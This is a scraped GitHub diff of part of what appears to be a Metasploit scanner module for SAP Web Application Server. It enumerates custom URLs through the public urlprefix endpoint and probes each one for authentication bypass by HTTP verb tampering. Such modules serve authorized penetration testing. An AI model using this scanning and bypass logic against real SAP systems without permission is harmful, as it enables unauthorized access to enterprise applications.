You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
print_status("#{rhost}:#{rport}#{url}- not found (No Response code Received)")
130
+
vprint_status("#{full_url}- not found (No Repsonse code Received)")
135
131
end
136
132
end
137
133
134
+
defwrite_url(path)
135
+
ifdatastore['SSL']
136
+
protocol='https://'
137
+
else
138
+
protocol='http://'
139
+
end
140
+
141
+
"#{protocol}#{rhost}:#{rport}#{path}"
142
+
end
143
+
138
144
defbypass_auth(url)
139
-
print_status("#{rhost}:#{rport} Check for verb tampering (#{datastore['VERB']})")
145
+
full_url=write_url(url)
146
+
vprint_status("#{full_url} Check for verb tampering (#{datastore['VERB']})")
140
147
141
148
res=send_request_raw({
142
-
'uri'=>url,
149
+
'uri'=>normalize_uri(url),
143
150
'method'=>datastore['VERB'],
144
151
'version'=>'1.0'# 1.1 makes the head request wait on timeout for some reason
145
-
},20)
152
+
})
146
153
147
-
if(resandres.code == 200)
148
-
print_good("#{rhost}:#{rport} Got authentication bypass via HTTP verb tampering (length: #{res.headers['Content-Length']})")
154
+
if(res && res.code == 200)
155
+
print_good("#{full_url} Got authentication bypass via HTTP verb tampering")
156
+
@valid_urls << full_url << "\n"
149
157
else
150
-
print_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
158
+
vprint_status("#{rhost}:#{rport} Could not get authentication bypass via HTTP verb tampering")
151
159
end
152
160
end
153
161
162
+
# "/urlprefix outputs the list of URL prefixes that are handled in the ABAP part of the SAP Web AS.
163
+
# This is how the message server finds out which URLs must be forwarded where.
164
+
# (SAP help) -> this disclose custom URLs that are also checked for authentication
154
165
defcheck_urlprefixes
155
-
# "/urlprefix outputs the list of URL prefixes that are handled in the ABAP part of the SAP Web AS. This is how the message server finds out which URLs must be forwarded where." (SAP help)
156
-
# -> this disclose custom URLs that are also checked for authentication
166
+
urls=[]
157
167
res=send_request_cgi({
158
168
'uri'=>"/sap/public/icf_info/urlprefix",
159
169
'method'=>'GET',
160
-
'ctype'=>'text/plain',
161
-
},20)
162
-
if(resandres.code == 200)
170
+
})
171
+
172
+
if(res&&res.code == 200)
163
173
res.body.each_linedo |line|
164
174
ifline =~ /PREFIX=/
165
175
url_enc=line.sub(/^PREFIX=/,'')
176
+
# Remove CASE and VHOST
177
+
url_enc=url_enc.sub(/&CASE=.*/,'')
166
178
url_dec=URI.unescape(url_enc).sub(/;/,'')
167
-
check_url(url_dec.strip)
179
+
urls << url_dec.strip
168
180
end
169
181
end
182
+
else
183
+
print_error("#{rhost}:#{rport} Could not retrieve urlprefixes")
0 commit comments